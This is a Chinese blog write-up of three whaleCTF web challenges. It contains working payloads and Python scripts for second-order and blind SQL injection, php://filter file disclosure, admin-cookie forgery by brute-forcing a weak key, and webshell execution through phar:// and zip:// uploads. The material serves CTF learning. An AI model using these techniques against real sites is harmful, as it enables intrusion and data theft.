DAY1 文件管理系统

http://202.98.28.108:10014/2sdrewe4543sd/index.php
如果塔主没有把端口关了的话

part1 upload.php

部分源码
第一部分

        if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
            exit("error extension");
        }
        $path_parts["extension"] = "." . $path_parts["extension"];

        $name = $path_parts["filename"] . $path_parts["extension"];

        $path_parts['filename'] = addslashes($path_parts['filename']);

        $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
        $fetch = $db->query($sql);
        if($fetch->num_rows>0) {
            exit("file is exists");
        }

如下功能

  • 检查后缀
  • 数据库中分开存储文件名和后缀

第二部分

if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) {

            $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
            $re = $db->query($sql);
            if(!$re) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $url = "/" . UPLOAD_DIR . $name;
            echo "Your file is upload, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
        } else {
            exit("upload error");
        }

如下功能

  • 文件名经过pdo转义后,注入不存在

part 2 rename.php

if(isset($req['oldname']) && isset($req['newname'])) {
    $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
    if ($result->num_rows>0) {
        $result = $result->fetch_assoc();
    }else{
        exit("old file doesn't exists!");
    }

功能如下:

  • 查询req['filename']的一行调用update修改。
  • 查找 result['filename']进行修改并入库。
  • 这样的操作会造成二次注入

自己在sql-lib里也做到过,但是这个二次注入更加困难一些。

part 3 oldname&newname

$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
        $newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];

它俩有如下特点

  • 后缀名相同
  • oldname 《- DB
  • newname 《- 用户输入

那么思路很明确,我们上传一个有恶意字段的jpg文件,然后rename进数据库,让后缀名变为空,然后再上传一个木马文件,由于extension为空,所以再次修改的时候不会加上.jpg的扩展名。

我们准备两个文件:如下

  文件名 后缀名
恶意语句文件 ',entension='',filename='x.jpg .jpg
木马文件 x .jpg

上传恶意文件,并命名为 x.jpg
此时系统中存储的文件名为 x.jpg.jpg。

而此时数据库为这个样子

filename extension oldname id veiw
x.jpg   ',entension='',filename='x.jpg 1 0

再次上传x.jpg
此时不会提示file is exists 因为 extension!=jpg
将x.jpg改为x.php就行了。

DAY2 笔记管理系统

http://202.98.28.108:10013//7sghfe673jd3/index.php
塔主的题目真的超级优质

part 1 hint./dbinit.sql

随意注册个账号,先进去看看

发现一个问题,单引号被转义为\'可能会有宽字节?(坏笑)

然后进入发现了一个hint:./dbinit.sql

果然有东西

CREATE DATABASE `taolu` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
drop table if exists `user`;
create table `user`(
    `id` int(11) not null primary  key  auto_increment,
    `uname` varchar(20) not null,
    `password` varchar(32) not null,
    `level` tinyint not null
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

drop  table if  exists `note`;
create table `note` (

     `id` int(11) not null primary key auto_increment,
     `content` varchar(255) not null,
     `title`  varchar(255)  not null,
     `userid`  int(11) not null 
) ENGINE=InnoDB DEFAULT CHARSET=utf8 ;

drop table  if exists `page` ;

create table `page` (
    `num` varchar not null
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


drop table if exists `flags`;

create table `flags` (

      `id` tinyint not null primary key ,
      `flag` varchar(50) not null 
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


insert into  `page` values (20);
insert into   `note` (title,content,userid)values(
     '测试笔记','这是管理员发布的测试笔记,个人无法删除(hint:./dbinit.sql)',1
)

整理信息如下

  • database taolu
    • user
      • id uname password level
    • note
      • id content="..." title=测试笔记 userid=1
    • page
      • num=20
    • flags
      • id flags

那么,很明显 东西就在flags表的flags里面咯?

发笔记的地方能不能xss呢?
bp一发xss,不行的、
宽字节注入?
利用%df进行宽字节注入,似乎也不行
在对删除的地方的id参数跑sqlmap,似乎也没有结果。之前的id是数字类型的,可能转换过了。

一切回到了原点!

part 2 action=php://filter

删除默认笔记的操作是这样的

<a href="./index.php?action=front&mode=delete&id=4&TOKEN=hhwhhwwwhwwwwwww">delete</a>
<a href="./index.php?action=front&mode=delete&id=29&TOKEN=hhwhhwwwhwwwwwww">delete</a>
<!--好像url这边有点玄机?-->
http://202.98.28.108:10013/7sghfe673jd3/index.php?action=front&mode=index
http://202.98.28.108:10013/7sghfe673jd3/index.php?action=front&mode=login
  • action=front
  • mode=index?login?delete?后端文件?

访问这几个页面都是这样的
也就是说,会有本地文件包含,比如这样子的:

include($action.'/'.$mode.'.php')
require"$action.'/'.$mode.'.php'"

             罒ω罒

有种想给塔主一棒子的感觉
whaleCTF Medium 30Days WEB 总结-ShaoBaoBaoEr's Blog

观察mode参数,如果可以用b64读取文件的化...

搞事搞事!!!0

http://202.98.28.108:10013/7sghfe673jd3/index.php
?action=php://filter/read=convert.base64-encode/resource=./&mode=index
http://202.98.28.108:10013/7sghfe673jd3/index.php
?action=php://filter/read=convert.base64-encode/resource=./front/&mode=delete
http://202.98.28.108:10013/7sghfe673jd3/index.php
?action=php://filter/read=convert.base64-encode/resource=./front/&mode=login

index

<?php

define("DIR_PERMITION",time());
// phpinfo();

function d_addslashes($array){

    foreach($array as $key=>$value){
        if(!is_array($value)){
              !get_magic_quotes_gpc()&&$value=addslashes($value);
              $array[$key]=$value;
        }else{

          $array[$key] = d_addslashes($array[$key]);
        }
    }
    return $array;

}

$_POST=d_addslashes($_POST);
$_GET=d_addslashes($_GET);

include_once('common.php');

if(!isset($_GET['action'])||!isset($_GET['mode'])){

    header("Location: ./index.php?action=front&mode=login");

}elseif(!preg_match('/\.{2}/is',$_GET['action'])&&preg_match('/^[0-9A-Za-z]+$/is',$_GET['mode'])){
    $action=$_GET['action'];
    $mode=$_GET['mode'];
    $file=$action.'/'.$mode.'.php'; //果然如我所料~~

    // echo $file;

}else{

    die("Invalid Request!");
}

include($file);

delete

<?php

defined("DIR_PERMITION") or die("Permision denied!");

$userid=check_login();
if(!$userid){

    echo "<script>alert('not login!');</script>";
    echo("<script>location.href='./index.php?action=front&mode=login'</script>");
    die();

}else{
    $id=$_GET['id'];
    $TOKEN=$_GET['TOKEN'];
    if($TOKEN!=$_SESSION['CSRF_TOKEN']){
        die("token error!");
    }

    $sql="delete from  note where id='$id' and  userid='$userid' and id!='1'";
    // echo $sql;

    $res=mysql_my_query($sql);
    // var_dump($res);

    $res = $conn->affected_rows;
    if($res){
           echo "<script>alert('delete success!!')</script>";

    }else{
        echo "<script>alert('delete error!!')</script>";

    }

    echo "<script> history.back(-1);</script>";
}

login

<?php

defined("DIR_PERMITION") or die("Permision denied!");

if(isset($_POST['uname'])&&isset($_POST['password'])&&isset($_POST['TOKEN'])){

    $uname=$_POST['uname'];
    $password=md5($_POST['password']); //密码是md5加密的
    $TOKEN=$_POST['TOKEN'];

    if($TOKEN!=$_SESSION['CSRF_TOKEN']){
        die("token error!");
    }
    $sql="select id,level  from  user where uname='$uname' and password='$password' and level='0'";

    $res=mysql_my_query($sql);
    $row=$res->fetch_assoc(); //获取第一条记录

    if($row['id']){
        echo $row['level'];
        set_login($uname,$row['id'],$row['level']);
        header("Location: ./index.php?action=front&mode=index");
        exit();
    }else{           
        echo("<script>alert('username or password error!')</script>");
    }
}
//我把html代码删了
?>

在index里面还有个common.php,一并拖出来。config.inc拖不出来
common

<?php

include_once("config.inc.php");

function rand_str($lenth=16){
   $rand=[];
   $_str="wh";
   while($lenth){
   $rand[]=$_str[rand(0,strlen($_str)-1)];
   $lenth--;
   }
//    var_dump($rand);

   return implode($rand);
}

// echo rand_str();

if(!isset($_SESSION['SECURITY_KEY'])){

    $_SESSION['SECURITY_KEY']=rand_str(6);

}
if(!isset($_SESSION['CSRF_TOKEN'])){
    $_SESSION['CSRF_TOKEN']=rand_str(16);

}

if(!isset($_SESSION['level'])){

   $_SESSION['level']=null;
}
if(!isset($_SESSION['userid'])){
   $_SESSION['userid']=null;
}

function mysql_my_query($sql){
        global $conn;
        $res=$conn->query($sql) or die("查询数据库出错!");

        return $res;

}

function encode($str){
    return md5($_SESSION['SECURITY_KEY'].$str);

}

function set_login($uname,$id,$level){
     $_SESSION['userid']=$id;
     $_SESSION['level']=$level;

     $endata=encode($uname);
     setcookie("uid","$uname|$endata");

}

function check_login(){

    $uid=$_COOKIE['uid'];
    $userinfo=explode("|",$uid);

    if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
        return $_SESSION['userid'];
    }else{
        return FALSE;
    }
}

function get_level(){

    $uid=$_COOKIE['uid'];
    $userinfo=explode("|",$uid);

    if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){

        if($_SESSION['level']!=="0"){

            return $_SESSION['level'];
        }else{
            return FALSE;

        }
    }else{

        return FALSE;
    }

}

// var_dump($_SESSION);

function get_page_size(){

      $sql="select num from page";
      $res=mysql_my_query($sql);
      $row=$res->fetch_assoc();
      return $row['num'];
}

function set_page_size(){

    $sql="update page set num=20";
    $res=mysql_my_query($sql);

}

function get_uname($userid){

       $sql="select uname from user where id='$userid'";
       $res=mysql_my_query($sql);
       $row=$res->fetch_assoc();
      return  htmlspecialchars($row['uname']);

}

总感觉少了点什么东西?admin应该也有自己的东西把?
御剑后台!上!
果然admin下面有东西!
继续拉进来
/admin/index.php

<?php
defined("DIR_PERMITION") or die("Permision denied!");
$userid=check_login();
$level=get_level();
if($userid!==false&&$level!==false){

    $page_size=get_page_size();
    //默认仅仅显示 前$page_size条数据 
    $sql="select * from note  limit 0,".$page_size;
    $result=mysql_my_query($sql);

    set_page_size(); #设置default page size 

}else{

    echo "<script>alert('not login!');</script>";
    echo("<script>location.href='./index.php?action=admin&mode=login'</script>");
    die();

    // $result=mysql_my_query($sql);
}

?>

    <tbody>

        <?php 

             while($row=$result->fetch_assoc()){
               echo "<tr>";
               echo "<td>".get_uname($row['userid'])."</td>";
               echo "<td>".$row['title']."</td>";
               echo "<td>".$row['content']."</td>";
               echo "</tr>";
             }
        ?>
    </tbody>

/admin/login.php
这可真是...令人头皮发麻...

<?php

defined("DIR_PERMITION") or die("Permision denied!");

if(isset($_POST['uname'])&&isset($_POST['password'])&&isset($_POST['TOKEN'])){

    $uname="admin";
    $password=md5($_POST['password']);
    $TOKEN=$_POST['TOKEN'];

    if($TOKEN!=$_SESSION['CSRF_TOKEN']){
        die("token error!");
    }
    $sql="select id,level  from  user where uname='$uname' and password='$password' and level='1'";

    $res=mysql_my_query($sql);
    $row=$res->fetch_assoc(); //获取第一条记录

    if($row['id']){

        set_login($uname,$row['id'],$row['level']);

        header("Location: ./index.php?action=admin&mode=index");
        exit();
    }else{

        echo("<script>alert('username or password error!')</script>");
    }

}

?>

part 3 hash_extend attack

大概分析出这些东西

function encode($str){
    return md5($_SESSION['SECURITY_KEY'].$str);
    //wh的六次笛卡尔积中的一个+admin的md5
}
function check_login(){

    $uid=$_COOKIE['uid'];
    $userinfo=explode("|",$uid);

    if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
        return $_SESSION['userid'];
    }else{
        return FALSE;
    }
}
if(!isset($_SESSION['SECURITY_KEY'])){
    $_SESSION['SECURITY_KEY']=rand_str(6);
    //wh的六次笛卡尔积
}
function set_login($uname,$id,$level){
    $_SESSION['userid']=$id;
    $_SESSION['level']=$level;

    $endata=encode($uname);
    setcookie("uid","$uname|$endata");
    //uid是admin|wh的六次笛卡尔积中的一个+admin的md5
}

我注册了一个admin''(admin\'\')的号,获取的cookie参数如下所示

Cookie: uid=admin%5C%27%5C%27%7C375b91138d0b772fe1dbc39af91bb9b0;
# admin\'\'|375b91138d0b772fe1dbc39af91bb9b0;
# userid|encode(uname)
PHPSESSID=s84868cqtbrpuv1jvdmpkkqad2
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
uname=admin%27%27&password=123&TOKEN=whhwwhhhhhwhhhwh

等等!!!
在登录的时候!uid中的后半部分是加密后得到的,而在check_login的时候,又被加密了一次!
那个是!!! hash长度扩展攻击!!!!

由于换了一个号所以要重新来

uid:admin123|5e9918c65b30ea6fa21ec17e1ecd4c97

也就是说md5之后

root@ninthdevil:~/桌面/ctf_tools/md5-extension-attack# python md5pad.py 5e9918c65b30ea6fa21ec17e1ecd4c97 admin 6
Payload:  '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00admin'
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin
md5: 0f2f05c49eae9b33e7a58f82b8664505
#so the result is::
>> %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin%7C0f2f05c49eae9b33e7a58f82b8664505

还本地打了个环境看看是不是撞错了
塔主和我说不是hash扩展....

那咋做啊?

part 4 爆破cookie

我们发现cookie是 admin|md5(SECURITY_KEY+admin)
并且,如果没有登录的话

if(!isset($_SESSION['level'])){

   $_SESSION['level']=null;
}
if(!isset($_SESSION['userid'])){
   $_SESSION['userid']=null;
}

会造成如下的情况
并且在php中,判断如下

null!==False 
>> True
null!=False
>> False

也就是我们没有任何登录,=也能通过level和csrf_token的验证
而security_key是可以爆破的。
备注:原题的做法是推算随机数,不过这个bug已经在php中被修复了,塔主也很仁慈得把初始的随机数表变成了“wh"减少了难度。直接爆破就可以了

于是写脚本!爆破吧!

import requests
import itertools
import hashlib
import string
import random
class Problem:
    def __init__(self):
        self.rand = "wh"
        self.url = "http://202.98.28.108:10013/7sghfe673jd3/index.php?action=admin&mode=index"
        self.csrf = 'http://202.98.28.108:10013/7sghfe673jd3/index.php?action=admin&mode=login'
    def run(self):
        box = self.calculate_products()
        self._test(box)
    def rand_str(self, length):
        return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
    def calculate_products(self):
        _box = itertools.product("wh", repeat=6)
        box = []
        for i in _box:
            result = ""
            for j in i:
                result += j
            box.append(result)
        # print (box)
        return box
    def PHPSESSID(self):
        return "PHPSESSID={}".format(self.rand_str(26))
    def md5_encode(self, data):
        hash = hashlib.md5()
        mystr = (data + "admin").encode()
        hash.update(mystr)
        return hash.hexdigest()
    def _test(self, box):
        s = requests.Session()
        print(box)
        SESSID=self.PHPSESSID()

        s.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
            'cookie': ''
        }
        s.get(self.csrf)
        for i in box:
            s.headers["cookie"] ="uid=admin%7C" + self.md5_encode(i)+";"+SESSID
            #print (s.headers)
            result = s.get(self.url)
            #print(result.text)
            if result.text.find("not login") < 0:
                print("key", i)
                print("cookies", s.headers["cookie"])
                break
            else:
                print("key", i, "failed")
                continue
        print("sth. error OR end")

if __name__ == '__main__':
    Problem().run()

part5 登录后台

正式登录后台。
whaleCTF Medium 30Days WEB 总结-ShaoBaoBaoEr's Blog

看见有一个页面叫做setpagenum

读取一下源码

if(isset($_POST['page'])&&isset($_POST['TOKEN'])){
    $page=$_POST['page'];
    $TOKEN=$_POST['TOKEN'];

    if($TOKEN!=$_SESSION['CSRF_TOKEN']){
    die("token error!");
    }

    if(!is_numeric($page)){
        die("page must be a number!");   
    }
    if($page<1) $page=1;

    $sql="update page set num=$page"; //注意这里
    $res=mysql_my_query($sql);
    if($res){
        echo "<script>alert('update  success!');</script>";
        echo("<script>location.href='./index.php?action=admin&mode=index'</script>");

    }else{
        echo "<script>alert('update  fail!');</script>";
        die();
    }
}

这边可以更新pagesize的值
然后

$sql="select * from note  limit 0,".$page_size;
  • note
    • id content="..." title=测试笔记 userid=1

之前的东西告诉我们note一共四列。

那就直接1 union select 1,flag,1,1 from flags 咯?
等等 他说page必须是num啊

hex编码一下 0x3120756e696f6e2073656c65637420312c666c61672c312c312066726f6d20666c616773
flag到手

DAY3 相册管理系统

http://202.98.28.108:10012/52gw5g4hvs59/index.php?file=login

知识相关

  • replace 绕过
  • 注入下载文件
  • union 盲注
  • phar协议绕过后缀名解析

replace绕过

常见的是比如说 sel select ect
绕过

可以系统的学习一下

str_replace($find,$replace,$string,$count)
$find //查找替换值
$replace //替换的东西
$string //原字符串
$count //非必须,替换次数,默认1

当过滤过着非常严格的时候,replace绕过就变的非常困难。

不一样的盲注姿势

union disctinct 能够去除重复的
DESC 降序排列

塔主给的东西:

//样例
select * from admin where name='admin' or 1 union distinct select 1,2,0x4B order by 3 DESC;

//以前做的题目
select * from admin where name='admin' or 1 union select 1,2,binary('L') order by 3;

# 样例的payload更好一些

phar协议与zip协议

phar是一种类似java jar归档的格式。和file协议差不多。
用phar或者zip协议去getshell的步骤如下。

  • 建立一个1.php写入一句话木马或者phpinfo
  • 压缩为1.zip,将后缀名改为 允许的后缀名上传
  • 利用zip协议的方式为
  • 用#分割
index.php?file=zip://1.jpg%231.php
  • 利用phar协议的方式为:
  • 用/分割不加后缀名
index.php?file=phar://1.jpg/1

part1 register.php

查看源码,找到注册页面。随意注册一个用户,登录成功。
找到文件上传窗口。

上传一句话木马。发现需要图片格式
.access漏洞
上传文件1.php;jpg。
apache 会解析为图片文件。

part2 利用sql注入下载文件

在收藏处抓包,发现post中有target=10...
对该参数进行

过滤参数select 。绕过方法 sele select ct

>> 888 union select hex('index.php')
>> 888 uniounionn seleselectct hex('index.php') 

后来有人加我问为什么这里能够直接下到源码。我们用bp卡主后,发现返回的内容有这样一行

Content-Disposition: attachment; filename="image.php"

所以说,这是一个下载页面,我们可以大胆的猜测,后端数据库查询大概是这么写的。(在尝试了union select 之后我们可以发现返回数据只有一列)

select png_path from table where img_id = $_GET['target'];

随后,服务器接收png_path的变量然后通过 image+后缀名 下载下来,
所以,当我们传入 index.php的时候,即可下载 index.php的源码

因此payload如下

image=9999%20ununionion%20selselectect%200x646f776e6c6f61642e706870&image_download=%E6%94%B6%E8%97%8F
# download.php

就这样可以吧所有的文件都下载下来。

part3 利用盲注脱裤

将shell存入zip。改名为jpg上传。

难点解析 cookie的验证

  1. 将sessionid 包含作为cookie传进来
  2. 先访问登录页面
  3. 利用bu做代理,(127.0.0.1:8080)并设置proxy选项

脚本如下:

import requests


def makeStr(begin, end):
    str = ""
    for i in range(begin, end):
        str += chr(i)
    return str


def getFilename():
    data = "image=78 ununionion diisstinct selselectect 0x{filename} oisrorder by 1 desc&image_download=%E6%94%B6%E8%97%8F"
    url = "http://202.98.28.108:10012/52gw5g4hvs59/downfile.php"

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "PHPSESSID=9c1jlcidpohmrj0180jqalilr5",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
    }

    randStr = makeStr(48, 122)[::-1]
    fileName = "./Up10aDs/kincy7rg7xy9a9to8eqdikv4wo"
    for _ in range(33):
        print "[*]", fileName
        for i in randStr:
            # print i
            tmpFileName = fileName + i
            proxies = {"http": "127.0.0.1:8080"}
            # print data.format(filename=tmpFileName.encode("hex"))
            res = requests.post(url, data=data.format(filename=tmpFileName.encode("hex")), headers=headers,
                                proxies=proxies)
            # print res.text
            if "file may be deleted" not in res.text:
                fileName = fileName + i
                break

if __name__ == '__main__':
    getFilename()

part4 利用phar执行shell文件

file=phar://Upl0ad/xxxxx.jpg/1
# 最后我们找到的文件名为
./Up10aDs/kincy7rg7xy9a9to8eqdikv4wodow
用协议读取文件即可。
# flag:F1AglsH3r3G00d.php

part5 利用sql注入下载flag

直接访问并不能够直接拿到flag。显示的是一个空页面。
需要在之前sql注入的地方把php下载下来就能拿到flag。